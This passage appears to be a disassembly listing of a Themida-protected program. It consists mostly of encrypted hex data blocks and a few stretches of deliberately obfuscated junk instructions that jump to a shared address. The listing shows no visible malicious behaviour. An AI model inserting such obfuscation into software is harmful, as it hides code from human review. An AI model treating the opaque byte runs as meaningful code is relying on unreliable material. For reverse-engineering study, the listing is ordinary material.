377F5E4Ch, 0EDAC497h dd 0F48A820Ah, 9A41AC06h, 0D306C747h, 61029B42h, 8E7C2CBAh dd 4395A11Dh, 0D8069568h, 13FD963Dh, 0AD43E212h, 0A19E0FFDh dd 21E94395h, 95A1C233h, 993A0D43h, 0D101A8AFh, 7E018F36h dd 3C7F981Fh, 0BA00EA13h, 0E362D4Ah, 0C26CBA4Dh, 0B75EF392h dd 0BB49F087h, 5943E212h, 0FA902958h, 9CEB5C4Ah, 6336F7F3h dd 0A6D96079h, 0B0DD640Bh, 17AA6E15h, 519A0D09h, 992959C7h dd 0F39D3AABh, 11B285F7h, 4AA5D57Ch, 8C7AF01Fh, 0F7F3B11Bh dd 292A9366h, 8A7CE554h, 0D46C0AB4h, 0DB5C03A4h, 0Ah, 97405E51h dd 912AD164h, 0FB2CDBA7h, 0C3CC36Ah, 194BD279h, 2350D77Eh dd 295CE38Ah, 376AF198h, 4170F79Eh, 4C7A01A8h, 57830AB1h dd 816711B8h, 4ECh, 243C8900h, 0C781E789h, 4, 8704EF83h dd 535C243Ch, 0C381E389h, 4, 8704EB83h, 895C241Ch, 56682434h dd 8900006Ch, 0BA522404h, 60E5126h, 24348152h, 1511EB1h dd 0B1F6815Eh, 5A01511Eh, 2FDC68h, 24248900h, 4240483h dd 8BB5358h, 1000000h, 38F56C3h, 24048B5Bh, 81E38953h dd 4C3h, 4C38100h, 87000000h, 0FF5C241Ch, 815E2434h, 4C4h dd 2639E900h, 3C0DFFF9h, 0B8A0FAEEh, 60E56C4h, 0E0FFC503h dd 72D9ECEDh, 3CC505E5h, 3C1B3DF5h, 2BE7CB33h, 36FF4EBCh dd 3020EA07h, 6C72D23Ch, 42DDC5A8h, 75ECD0E1h, 713F85B9h dd 0C654480h, 2108AD14h, 5C8F36C3h, 4BE3C765h, 1CF5125Ah dd 0E8D004EBh, 6DE96FF7h, 8C000005h, 8E35CA5Bh, 872EC362h dd 8229BE59h, 7E25BA53h, 8A25BA4Bh, 0F184B772h, 0ED88B55Ch dd 0E47FB158h, 0DD78A84Fh, 1F0D7B48h, 43959BAEh, 2510E2F9h dd 2E8A2AA2h, 4EED0C2h, 8D34D303h, 905D7CFFh, 0A11A793Dh dd 5B45E012h, 0F88E275Ah, 699B1C4Fh, 3C432DCEh, 0B5E46595h dd 3BDC751Ch, 4ADD0D94h, 55F01CA3h, 0C957EAAEh, 3982F5Fh dd 0FB7CAC55h, 0E99031CCh, 0F6973662h, 50D90B0Ch, 54E98A23h dd 52E87BADh, 5F43B4A2h, 0BB8E49A3h, 7A2AB8D1h, 0A35F1B8Ch dd 992C5F49h, 53543E11h, 75E08726h, 234E22Ch, 333DA6Fh dd 83F1BD64h, 6B49A35Fh, 0F590BC65h, 0B166B00Bh, 9940D908h dd 18BD1600h, 0C219AF53h, 77h, 4F7C2526h, 9BCBCCB6h, 0F2A81907h dd 0C0EC49A3h, 29CA9D25h, 0F24BB682h, 0D62F49A3h, 0C04F8648h dd 0F67919AEh, 0EB5ACD1h, 6A5E48ABh, 1, 4C7C25CEh, 0F0C886F1h dd 0F596EAEEh, 51DE0A0Bh, 49E28924h, 3A6912A8h, 755FF89Fh dd 0EA9D55Ch, 3A2CF78h, 4A790019h, 3E7019AFh, 7963FCA3h dd 3F099C60h, 0B54AE511h, 0F8695707h, 4349A391h, 55858670h dd 25BB2DC2h, 0CBB5507Ch, 353697CAh, 3A099909h, 3AC16809h dd 17C86F0Eh, 0A21301B1h, 0C49A33Fh, 40400820h, 3508905Dh dd 0F826F04Bh, 0F0972CC5h, 0F77E25C0h, 0E9872EC9h, 0E47DB059h dd 4F919FFAh, 19AEE496h, 490AAD30h, 0DA811446h, 885AD841h dd 81FCF0DAh, 24000000h, 9B04F7Bh, 2CBA8670h, 0AE477AF9h dd 37CD6E07h, 0AADC5B8Eh, 36D77017h, 7EAC334Ch, 0E5783CE3h dd 27BAED5Bh, 82F3E191h, 0CD49A3F2h, 5B0910FAh, 3CE382B2h dd 0F24FC0AEh, 0C79A49A3h, 83B3C26h, 103FC66Dh, 0F2219280h dd 396549A3h, 0D65EF79Eh, 1DBB6203h, 7EEFDD8Dh, 0C949A3F2h dd 67B10CF6h, 0AEBE8461h, 417619h, 2CDA0000h, 29D268F9h dd 5E7761FCh, 6B12A5D7h, 0C876C0FBh, 0F567FC95h, 16877525h dd 6149A3F2h, 77A3A48Eh, 0F76531D8h, 0DF49A3F1h, 9F36B886h dd 2919AEC0h, 0E61A8B79h, 926549A3h, 1B4A8h, 2C180000h dd 35BC63FEh, 0F6578405h, 0B3C7B2E7h, 933ADB6Ch, 9E396BFAh dd 16BD5EF7h, 0DC0CB5ABh, 3A045F49h, 0AE43DE0Ch, 0F1625000h dd 3C49A35Bh, 0D45C7F69h, 0A89646DCh, 49A35C37h, 0BDC5AF82h dd 0A27355CFh, 0F69D7047h, 13A83F6Fh, 0F48DBC65h, 3ED9090Ah dd 0D1860997h, 0F9DCB56Bh, 7BE62C16h, 0D2439CAFh, 6F9F8997h dd 6C9C43D8h, 751CBBEBh, 0FCA53BDCh, 0B9239CCh, 0B6A041DCh dd 61E6169Dh, 59F29934h, 739F22B8h, 0F4F5D3B3h, 75263F29h dd 94C472BCh, 686D6C01h, 721FB62Eh, 171h, 93A225D6h, 4EAB342h dd 7F072A14h, 5503F187h, 2047A27Ch, 0A134B74Dh, 88371192h dd 5DE4FDE7h, 81049A2Dh, 4476AB14h, 9C1F2470h, 63208EF7h dd 16B42513h, 2CFF439Ch, 0F39AA18Bh, 0F67D24C3h, 0D7882FC6h dd 0FD98C871h, 0C06EB813h, 0A1120090h, 0EC439C16h, 35E37819h dd 1DC45D8Ch, 8F00EE84h, 0DA439C16h, 11C41D07h, 0B71FB69Ch dd 0DA43E20Eh, 3F6E55FAh, 9FDE7F5h, 46h, 0A5D88131h, 0E2C7380Ch dd 5112439Ch, 0FCE68722h, 4A7C2530h, 23AACDB7h, 8AAB992Fh dd 2749A3F2h, 0CFB94C7Eh, 8F5B02D5h, 49A3F21Eh, 57A77142h dd 9D46DCD0h, 0E6EED86Bh, 0A3F2D7F8h, 1AAF8249h, 0B079h dd 0A225EF00h, 0DF3D2D19h, 0FA1D07E7h, 0F6E47A72h, 47A2D284h dd 0CE55FCCFh, 0CB72079Eh, 46DF0E9Bh, 7A32FEA5h, 21439CD2h dd 0C5609039h, 88B680DBh, 5F28BD58h, 5B49DFD7h, 4193197Bh dd 0A128CFA2h, 22BBE871h, 9A41E27Bh, 0E089392Fh, 0CF4014ADh dd 0C3D8E79h, 8E79AD1Eh, 9D25F83Dh, 2C542C02h, 7D1E7EF6h dd 8027BEEEh, 94A2FDE7h, 102F20A3h, 0E3BA2B17h, 564ED6F9h dd 0B12210C0h, 0FC3D8E52h, 87373F29h, 5278E9D7h, 2C33D8Eh dd 0F38C33D2h, 42226852h, 693B849Bh, 62500096h, 377FFAF1h dd 0E36B0635h, 711F2610h, 553FF1EEh, 3A24B4EAh, 9C820A6Eh dd 770D96Ch, 6FC26FE5h, 8535CB6Ch, 7017AADCh, 7B22BDE9h dd 84B241E2h, 0D9B9FFE9h, 479965h, 0D7780F3Fh, 0F079A930h dd 0ED8223BEh, 0D87F1646h, 0FD30110Ch, 31B4F42Bh, 95801716h dd 78D3BDA6h, 0B55080AEh, 0C0497920h, 0C157F891h, 2F5FE818h dd 0B758F198h, 748D7710h, 7C23BEEDh, 0D07EC811h, 0C27005A0h dd 53B32412h, 2BFED99Bh, 75104041h, 34DCEh, 5EC30000h dd 6AFB2C7Ch, 790C3CC3h, 7E194BD2h, 8A2350D7h, 98295CE3h dd 9E376AF1h, 0A84170F7h, 0B14C7A01h, 0B857830Ah, 98686711h dd 8900004Ah, 8952240Ch, 4C281E2h, 83000000h, 148704EAh dd 0C895C24h, 63E06824h, 34890000h, 5735B924h, 0D1F71AEBh dd 6F75C181h, 81492F4Eh, 0FFFFFFE9h, 9FF181FFh, 68126D4Fh dd 3292h, 81242489h, 42404h, 525E0000h, 5689CA89h, 24148B08h dd 0FF04C483h, 815E2434h, 4C4h, 240C8B00h, 81E78957h, 4C7h dd 4C78300h, 5C243C87h, 0F9207AE9h, 300D4BFFh, 0E5C8FB8h dd 0FFC50306h, 805219E0h, 0F98D692Bh, 0CDDD0943h, 0EB68DC5Ah dd 24C58814h, 9803D247h, 5FA6C906h, 44ED1924h, 3B7E9A3Eh dd 0B111D64Fh, 6D49B249h, 63ECE314h, 63F6F464h, 9F089D1Fh dd 8E5AAA0Dh, 290BFC3Fh, 6E9A373Dh, 4C95EB69h, 0DC4DE36h dd 0DD04EB74h, 0E9330C95h, 54Eh, 62F78EBFh, 5BF08FBBh dd 56EB86B4h, 50E580AFh, 46DB76A9h, 0A5D893ABh, 0A3D0770Ch dd 9CCE750Ah, 9DCD7409h, 3AA8750Ah, 9595DB4Ch, 3D0F2643h dd 0C269FC2Ch, 0D86D083Bh, 0BF660131h, 8A780838h, 49A3F219h dd 9A60C964h, 8EAF02EAh, 1EA54CEDh, 0E8AC53F2h, 2D5DCB55h dd 0F246B7A5h, 0BE9149A3h, 0AFE1881Dh, 0A6D87F14h, 2DD6640Bh dd 532E9FFAh, 0C7199730h, 0E3B3C26h, 145DC86Fh, 57EA1C0Ah dd 3D6B14C2h, 7862FBA2h dd 1AB04777h, 55DF4271h, 4880F95Bh, 0D16A11B2h, 8F791442h dd 323CAA76h, 0CB2449A3h, 805A7B7Dh, 598019AFh, 0A8000000h dd 8C33D2FFh, 2C3D09F3h, 0F6C269FCh, 49A3F28Bh, 21E6696Fh dd 463CA5B9h, 8791ECD6h, 0AF7F9441h, 0C0AF3219h, 294026BFh dd 1FAEED8h, 5E000000h, 0B74A7C25h, 8C8D7710h, 971EC560h dd 9E25CC6Bh, 6B2FD66Fh, 0B4E04ED8h, 38008319h, 0DD4F20BDh dd 27CED5BFh, 59CB60F7h, 0B5507C25h, 8A8B750Eh, 7828BE57h dd 0A3F2198Ah, 0A7916449h, 3CDB078Eh, 1D2BE495h, 0D0650033h dd 13847222h, 5E49A3F2h, 70A0A18Bh, 8122B5E7h, 952553DAh dd 0A3F236A7h, 0DAE8149h, 8838C866h, 0A3F2299Ah, 0B7A17449h dd 0D90CD25Ch, 319AEBDh, 8Fh, 68F92C67h, 5A8A33C1h, 917B14BBh dd 20C76290h, 25CC6799h, 33DA6B9Eh, 7EBE88C3h, 2FEF72B2h dd 0DB68F94h, 0D1B7660h, 0C055F023h, 0A44BE619h, 408BEE1Dh dd 0A91B46C8h, 715DD5ABh, 33D40CAAh, 0BD4DEB92h, 654FE214h dd 620B3C0Ah, 592E9736h, 989EBDE2h, 6085DEC8h, 6619AFAAh dd 4CF38EBDh, 58FF92C5h, 9A881EBFh, 49A30C29h, 0C3B7A174h dd 4Eh, 68F92C27h, 6D083AC1h, 0D1B56C6h, 0BF55F023h, 0F2B0210Fh dd 28FB49A3h, 2CC5373Eh, 26CF6500h, 1BB45BFAh, 0DE4C1831h dd 0C649A3F2h, 0A1723DC0h, 0A2767AD4h, 0DD35DB8h, 19AF8BC8h dd 0D12h, 62913A00h, 650CA7D9h, 0EB842BCCh, 0FE2C3501h dd 535BC63h, 1AC15484h, 0CE39E081h, 5A7F55D8h, 58FF9AC9h dd 9AE456BFh, 0F48FBD4Ch, 0B761AF0Ah, 9059EE89h, 8C7A1008h dd 47A27712h, 7ADF922Dh, 2B942F61h, 22B84956h, 9CB7C334h dd 9A3B0E43h, 0A93C6CF3h, 0AA3D6D14h, 0B7CC3703h, 0E823439Ch dd 5DC0F05Eh, 0CCB17331h, 0C055F6BAh, 9C376912h, 0A5406EF5h dd 0DAC465FEh, 670EA9D9h, 680130D9h, 3D3E28C1h, 22D37A0Dh dd 4171DF69h, 68D10A6h, 760F4221h, 0E6243C0Dh, 0DFF6F5FCh dd 0FD1FB5DDh, 169h, 8A820A61h, 0FA5806F4h, 502347A2h dd 0FFD537BAh, 76334339h, 9CD21788h, 0EE8F6243h, 3464EB04h dd 45E681B3h, 3ED909B0h, 45E01097h, 0EA34ED9Eh, 0E3790C3Ch dd 0C46B0A3Ah, 0D2D74836h, 4F22439Ch, 6F3045AEh, 0DEA432A2h dd 0E7EEEDF4h, 0F51FB69Ch, 83h, 0E7F6D1Dh, 4B439C21h, 9C20EC5Dh dd 0DC643743h, 25531F09h, 66D7C575h, 0B149A3F2h, 0F2990ADEh dd 0E8D649A3h, 49A3F277h, 9467EFC2h, 62CCE42Bh, 4731F5DDh dd 13A99D24h, 0EF8EBA63h, 0FA95C148h, 2F19BA53h, 0A383C8E9h dd 0F9A07349h, 0A383BC2Dh, 37D20049h, 42DD0990h, 0E731EA9Bh dd 99A77827h, 7C12068Dh, 0A3836D8Eh, 4B7D1849h, 65744BE6h dd 0FAA339DAh, 7A1543CCh, 0AF9932D9h, 9307A8h, 257D0000h dd 0F2168775h, 8E6149A3h, 1F981A4h, 0EE0B7D6Bh, 9F4847A2h dd 0F6F0DA6Dh, 0C5F57C23h, 0C6F69D32h, 93811141h, 439CEE22h dd 58F99A6Dh, 0EE2DE5B1h, 8EBD439Ch, 93C54CF3h, 0DDCB5900h dd 439CED6Ch, 6435E4B7h, 67765DAh, 51439CEDh, 2A65DD7Eh dd 6302321Ch, 857D05CEh, 40B001EFh, 0A87B4193h, 0AB4A7A01h dd 0C6509904h, 20B6AE36h, 0C7B14477h, 0E380D1BFh, 8D3D3B84h dd 337EEFDDh, 0F6C93780h, 8033B122h, 9A29FC37h, 912AD16Ch dd 45DAADA7h, 4C7C25D3h, 24ACCFB9h, 36E6962Ch, 0A3F2D748h dd 654F2249h, 9A45CE1Fh, 30C69947h, 1BC25587h, 0F87F9882h dd 57CC65C8h, 6BE5A7Eh, 0F929D065h, 19EBB75Eh, 0A0709775h dd 0E515030Dh, 0E616BD52h, 0F221A84Fh, 0FC45B057h, 79D40432h dd 8BBC6ACAh, 9D32D385h, 1241C6F6h, 0F3239482h, 9B6E0E91h dd 31B259FAh, 3, 2C7C5EA7h, 3CC36AFBh, 4BD2790Ch, 50D77E19h dd 5CE38A23h, 6AF19829h, 70F79E37h, 7A01A841h, 830AB14Ch dd 6711B857h, 81E38953h, 4C3h, 4EB8300h, 5C241C87h, 57240489h dd 0C781E789h, 4, 8704EF83h, 895C243Ch db 4, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ebp push ebp push 17327F1Bh mov ebp, [esp] add esp, 4 neg ebp shl ebp, 4 sub ebp, 4DC222F6h xor ebp, 391BB637h mov eax, ebp pop ebp push 47BCh mov [esp], esp add dword ptr [esp], 4 pop ebp push ecx push esi mov esi, 8 mov ecx, esi pop esi add ecx, ebp mov [ecx], eax pop ecx push dword ptr [esp] pop ebp add esp, 4 mov eax, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_544543 ; --------------------------------------------------------------------------- dw 585Dh dd 8C4EE81Bh, 19B88826h, 3060E62h, 0C0E0FFC5h, 145DEEB1h dd 8347F76Dh, 0C296376h, 3B3BE4EEh, 391357E6h, 194FC633h dd 2A54575Dh, 0C1167CCEh, 765790B6h, 0D44EEBAAh, 0D220570Fh dd 0BD1A75E7h, 1546A6D2h, 1521E745h, 3D56BA4Dh, 3C40C665h dd 0BE49BFECh, 45719AD3h, 9A1E57F6h, 0AA076B72h, 9358946Dh dd 0CD764C64h, 0B222E1DFh, 8751832h, 90F7A07h, 4D228558h dd 0F5A59F9h, 93394F0Fh, 0EB34C395h, 0E9BBEB04h, 573E907h dd 0B8E90000h, 0B5E1881Dh, 0B0DE851Ah, 0AAD98015h, 0A0D37A0Fh dd 0BDD57005h, 0A136CF02h, 9B30CDFAh, 9A2FC2F4h, 8F24C3F3h dd 0F56654C2h, 4043958Eh, 0FC2C5729h, 5B50D369h, 274CFBC5h dd 78FF1802h, 6D16AC45h, 0B9C0AA3Dh, 9C43E212h, 0FF705E0Eh dd 4A49A394h, 1CB5E877h, 0F1F2DC75h, 0F87F26C1h, 38A31CCh dd 0C933AD5h, 3FA047DAh, 85CE5248h, 0FE39B1C7h, 9528F430h dd 126D9D8Bh, 1D424216h, 0B55083AAh, 33D4750Eh, 32C5F79Eh dd 8DFEEC9Ch, 0F749A34Fh, 0AD3AD754h, 9859E1A6h, 4630D16Ch dd 0CB66983Fh, 0D5709D24h, 0DD78A72Eh, 49BAA836h, 9449A3D3h dd 670632C1h, 20C55C0h, 0A54CE514h, 0AFF86B0Ch, 0DB07B061h dd 12FC953Ch, 0F77CDF11h, 0B72757E3h, 33DA75A1h, 0C358F99Ah dd 0B259EC1Ch, 0A3C478E6h, 0F48DBC49h, 0E99C64Dh, 0FBA243E2h dd 8787914Ah, 0F8E6969Ch, 49A3C487h, 996FFD2h, 0C9A53DAFh dd 9EA803EDh, 777226A9h, 73293BD6h, 57A53089h, 633719AFh dd 9B000000h, 8674FC2Ch, 49A3F215h, 5055C560h, 877E4FB5h dd 0D29E45E6h, 49A30B67h, 0A795454Bh, 49A30B36h, 69C4AE81h dd 0A6BC19DFh, 11E19AFh, 82000000h, 0BE65002Ch, 0C56C0B37h dd 0CF760F3Eh, 0D9801948h, 86A82678h, 2BBAA85Eh, 48B85FFEh dd 3703030Dh, 0FCA59AA4h, 0F38C33CEh, 41DC0809h, 42D505ACh dd 7C253BADh, 7710B74Ah, 0C8598C8Dh, 7109321h, 728A6FC1h dd 413161ECh, 4AEBA0A3h, 0CC335F60h, 4C2BD9CBh, 7A21C2AAh dd 180610C9h, 962F5EE5h, 4CF3EA2Dh, 0B1522BEAh, 9EB6E1Ch dd 16D5BDDBh, 0A849DC0Fh, 7E35183Fh, 8872B8A6h, 19C05787h dd 1AB3E28Bh, 66012F30h, 0F03E21BFh, 0AEE7F7EEh, 3321D119h dd 49A3D2C2h, 0BA42D306h, 50CA0E1Fh, 5EFFD88Fh, 638074h dd 25E40000h, 0DD4979A2h, 9687AE6h, 88208924h, 0ADAE9848h dd 0B940E77Ah, 8549F08Bh, 0C7FA24F2h, 0BFF2992Eh, 0C9F87F26h dd 8EB8930h, 0F62DB83Eh, 0BBB19AEh, 0A3C0AC1Dh, 3A24F749h dd 5046h, 0F92CAA00h, 83AC168h, 123FC66Dh, 1845CC73h, 7028FEB5h dd 0D57652CEh, 0B583BE2Eh, 78C60179h, 750A9BCEh, 70002C03h dd 0A3F21182h, 0E8895C49h, 0F2077541h, 96EF49A3h, 0BBEE9788h dd 35A6942Ah, 8049A3F2h, 6B6AC3ADh, 7119AEC0h, 1, 63FE2CD5h dd 720535BCh, 91760CBh, 97A6818h, 5449A3F2h, 68969781h dd 5F8E37CDh, 6A11ACD8h, 0F08930D1h, 0AE36FF06h, 0F262D3C1h dd 3ACC49A3h, 96039AACh, 2FD0A32Bh, 3A31AB99h, 794C47A2h dd 9EAC60E3h, 953CD906h, 639893FCh, 0FC839C86h, 0F6A439CCh dd 0A08A1D4Dh, 31D86F9Fh, 9C20FA65h, 8165143h, 0B1769417h dd 0CAF74ED6h, 50AFDFE0h, 0A5D33C51h, 61CA630Ah, 5AFB9593h dd 57EE1EC5h, 724E3EC1h, 0D2FF5ED2h, 1848CFE8h, 6C25D67Dh dd 0C34474A2h, 40DD0A97h, 0B85F0099h, 38E87E1Fh, 0F6CA5D8Fh dd 439C7D85h, 0A91A08D0h, 0F4439C7Dh, 1A178021h, 84284CAFh dd 0A09FA690h, 1FB6BD35h, 0FAA7h, 1F4CCF00h, 9AAFBFBEh dd 0A410DF7h, 6F48A82h, 47A2FA58h, 11BA5023h, 0AA34AE5h dd 50800720h, 0ACD5CAEDh, 1923B3C3h, 599C0516h, 8B20C1B6h dd 8B21B4E4h, 6E15B0E2h, 4BD2EBD5h, 24D57C1Bh, 4373DD6Bh dd 0C5100FA4h, 171FB66Eh, 36h, 8F830A7Bh, 0F2EA0BF9h, 0C29549A3h dd 0F2DE4F1Bh, 310249A3h, 948232E7h, 49A3F223h, 8EB19B6Eh dd 8F7D1307h, 49A3F26Eh, 3B14619h, 0A6902D5Ah, 76ABh, 820A2100h dd 9406F48Ah, 0DF47A2EEh, 0AEDE650Ch, 0E3D18117h, 439CEE72h dd 37CAFCBDh, 0F7A5AC96h, 0EDE85947h, 6033439Ch, 19039ED1h dd 335FE818h, 0C554ED94h, 0B45BFC97h, 9CED30E8h, 929CD743h dd 4CE174A4h, 6D03FB83h, 0B85610EAh, 92FB55D3h, 0CF894FDDh dd 8D957F8Eh, 92292C9Fh, 0C9704341h, 0CC731242h, 0FE0E1861h dd 0FAE87E76h, 3B83C687h, 13AEDD9Eh, 256BDD72h, 0F2168775h dd 0C66149A3h, 0E7C05050h, 0AC963784h, 26140189h, 49A2F6B5h dd 0F68C2D00h, 99139508h, 32D9AC47h, 47DC7BABh, 0F2E070A0h dd 43949381h, 0B990F9CCh, 0AF9DA16Dh, 713DE485h, 43F33AC4h dd 0B96EB84Bh, 9A723636h, 0E1AEFBBAh, 2DA94579h, 656650F1h dd 660DA235h, 71F89F36h, 9500A742h, 2454C24Ch, 2652FB91h dd 0B847E087h, 0FC03ED88h, 0C0CA2555h, 0EE364863h, 9516BD5Eh dd 3, 2C7C5E0Bh, 3CC36AFBh, 4BD2790Ch, 50D77E19h, 5CE38A23h dd 6AF19829h, 70F79E37h, 7A01A841h, 830AB14Ch, 6711B857h dd 704168h, 241C8900h, 5E08950h, 4, 8704E883h, 895C2404h dd 8950240Ch, 405E0h, 0E8830000h, 24048704h, 2404895Ch dd 477B6857h, 0B95F01D2h, 7E0AABEh, 545FF929h, 8324048Bh dd 8B6804C4h, 89000045h, 2C81240Ch, 9E322624h, 8408F0Ah dd 26084081h, 8B0A9E32h db 4, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp mov ecx, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_544543 ; --------------------------------------------------------------------------- dw 0BF30h dd 682DB858h, 0C503060Eh, 0CA81E0FFh, 0CED2645Bh, 274827F8h dd 51400CA8h, 1BE24AAFh, 0D44B640Eh, 231970BFh, 608449E0h dd 0BBFE5AB5h, 473401A4h, 91C43870h, 47424F55h, 0DA654219h dd 6B232288h, 488A1C95h, 49DE547Fh, 65761A0Fh, 60BB3C1Fh dd 92184052h, 0FF7E44F6h, 6192626Dh, 67C82DD6h, 42D3148Eh dd 51836361h, 9F7D532Bh, 0F3632AE8h, 79FB103Bh, 11E86CE9h dd 4000000h, 6A7FA131h, 0B2F9B8EEh, 0BF6409Ch, 9D0DE604h dd 0F4AEBF66h, 9E85Bh, 0F2480000h, 0B50A61DDh, 0F3F767Ah dd 286h, 595F5100h, 5EC7C381h, 81660000h, 0B882E3C9h, 1788h dd 0D180F181h, 338B0A9Eh, 368EBA60h, 0EF81128Fh, 4A5669C1h dd 20EE8161h, 817BB2F9h, 0DE47DEEEh, 0BE92Ch, 393C0000h dd 0E098CB64h, 53BB810h, 8CC681ADh, 66078F9Fh, 3389F98Bh dd 80595260h, 81614BD1h, 5ECFC8EBh, 81606030h, 2B6A46F1h dd 61D68B09h, 0C4C38161h, 81305ECFh, 9EA9C7D9h, 850F4822h dd 0FFFFFF9Eh db 81h, 0DFh word_5B3196 dw 8C04h ; DATA XREF: Themida_:0053CC94o ; Themida_:0053D3BCo ... dd 8D8D0F0Ch, 60E6A69h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 15h, 9BC35242h, 5840F59h, 0BF000000h, 666F6804h dd 1AD98D89h, 81570607h, 11DB87F0h, 85C7584Bh, 607101Dh dd 7184h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 16h, 19C35646h, 85C7122Dh, 6073305h, 0 dd 0B5FFD78Bh, 6070E85h, 2A9DBD0Bh, 95FF0607h, 6071859h dd 0BB709DBEh, 0FF006A55h, 70D6995h dword_5B3228 dd 0EBC08B06h, 4FE6666Eh, 0DA3CF9CAh, 85D9F132h, 4AEADA84h ; DATA XREF: Themida_:0053CF4Co dd 4E443A78h, 454D8FF0h, 2993C617h, 8BBFD99Bh, 2831ED8Ch dd 3F743E4Ah, 0FE7A6D2Eh, 0F343E152h, 0BAAE7559h, 823C8108h dd 25884514h, 58BED968h, 6373142h, 55F710E5h, 0C6234100h dd 95C29E97h, 15A655h, 0D1F1BA01h, 0A8B3D4Ah, 0A0866A07h dd 1E986956h, 6A6F0B8Fh, 8063943Eh, 0EB9EF59Eh, 10h, 3 dup(0) dd 0E8C08B00h, 0Bh, 0A1225448h, 0B10F3BCAh, 0F412E8Bh dd 8B5EF3B7h, 0CDBD83D3h, 6071Ah, 0BD830975h, 6071135h dd 50197400h, 0B8C08B53h, 42Dh, 1F7D8589h, 9D8D0607h, 609ADC0h dd 585BD3FFh, 1135BD83h, 74000607h, 0B8535017h, 42Dh, 1F7D8589h dd 9D8D0607h, 609AAAFh, 585BD3FFh, 18CD958Bh, 0BE660607h dd 830FBB6Ch, 6, 789952Bh, 0C08B0607h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 19h, 0FFC35040h, 7D4C7475h, 43DA8086h dd 1A2D8D8Bh, 60510607h, 8BFE8B66h, 71A41BDh, 835A6106h dd 840F00F9h, 68h, 13E8h, 4059A400h, 607AC70Dh, 0C0E80D13h dd 0F6125D94h, 0D54C4C35h, 8B645AF5h, 2C3Dh, 63BA6600h dd 0FFF0B3Bh, 3B84h, 0F78B6600h, 0B5893F8Bh, 6071069h dd 31BAC032h, 0F31BD299h, 50006AAAh, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1904h, 0C3504000h, 51973F73h dd 85311D86h, 60710F9h, 50414935h, 11E853h, 0FA0B0000h dd 1AD098DBh, 971FC718h, 81ECF231h, 0B48A038h, 72299B5h dd 85C65E06h, 60709CDh, 6800F47h, 8B000000h, 713E995h dd 4E806h, 882C0000h, 0BA50DCD6h, 4FF009C5h, 424448Bh dd 0FC43BE66h, 6053008Bh, 4718B866h, 0FE9h, 0F73F1300h dd 2ECCE5EAh, 95455BFCh, 22DCDBFEh, 44895E61h, 0F48A0424h dd 50006A58h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1D04h dd 0C3504000h, 0A8D650ADh, 5964578Bh, 0B5FFF480h, 6070D99h dd 858DF18Bh, 60A7038h, 0D497BE66h, 85958B51h, 5E060723h dd 6AD0FFh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h dd 56460000h, 900E1DC3h, 8968DCE9h, 719AD95h, 0B1858906h dd 6A06071Eh, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 19042444h, 43000000h, 6C6FC353h, 0B2D18922h, 9CD85C6h dd 0BA530607h, 3E576975h, 4E8h, 986AFC00h, 8C0F6088h, 0Fh dd 0AE9h, 63C6E700h, 8B73C3FAh, 504FC930h, 0F616052h, 8E931h dd 50890000h, 7ACA0672h, 585ABD95h, 0BE665061h, 448BED84h dd 12E80424h, 2B000000h, 0E749DB91h, 9260734Ah, 52DE4ECAh dd 16AB2681h, 8B5EEBh, 4244489h, 0D2BD04BEh, 0E9525869h dd 14h, 0E7FC7A7Bh, 675A107h, 0BB4F5D4Bh, 79B14D43h, 0A8E50E98h dd 99B5FF5Eh, 5606070Dh, 1EF9B58Bh, 665E0607h, 858DF18Bh dd 60A7038h, 0AC97CE81h, 0D0FF7707h, 1139B523h, 858D0607h dd 60A34A8h, 77ED681h, 85891194h, 6070891h, 9395BA66h dd 0FF6A206Ah, 89195FFh, 49350607h, 0C7535041h, 70A8585h dd 106h, 9185C700h, 60718h, 0F000000h, 68Fh, 91B58B00h dd 5606070Bh, 189D958Bh, 835E0607h, 73335BDh, 840F0006h dd 6Fh, 42D28166h, 6820F09h, 89000000h, 714CD9Dh, 0E5858B06h dd 0E8060712h, 6, 1F0848AAh, 8531DBEEh, 6071FEDh, 7BBE665Ah dd 0A3643Ch, 8B000000h, 71F7995h, 0F1858B06h, 6A06071Fh dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1A042444h dd 47000000h, 0E508C357h, 6C304822h, 5DB529EDh, 80060730h dd 0E08B68E2h, 83F28B66h, 705C5BDh, 850F0006h, 40Eh, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 0A8C35343h, 9950369Dh dd 6810Fh, 0D6810000h, 7F8B5C12h, 0EE9h, 79505600h, 0E7AC3129h dd 0E994EC37h, 0C6183988h, 709CD85h, 95895606h, 60709C1h dd 31EFB768h, 8B665647h, 4815EF3h, 93412824h, 56006A62h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1C04h, 0C3564600h dd 0A5C65157h, 7FD5ED48h, 99B5FF3Eh, 6A06070Dh, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 19042444h, 47000000h dd 0EE98C357h, 68F4B03Eh, 1FE5B589h, 0D2800607h, 38858D51h dd 89060A70h, 72D0DBDh, 6AD0FF06h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 19042444h, 45000000h, 0C5D9C355h dd 0D6D9D0EDh, 20DD952Bh, 89500607h, 958B2404h, 6072D79h dd 1A018D8Dh, 6A0607h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1C0424h, 53430000h, 68D51CC3h, 59B5E3A9h, 0B58B1257h dd 6070AB9h, 0AEB06050h, 0EB22CBB8h, 0C896141h, 52006A24h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1D04h, 0C3524200h dd 47017783h, 0EE663530h, 0F08B9BFCh, 6A046Ah, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h dd 5EAE91C3h, 8D89EBFCh, 60701D9h, 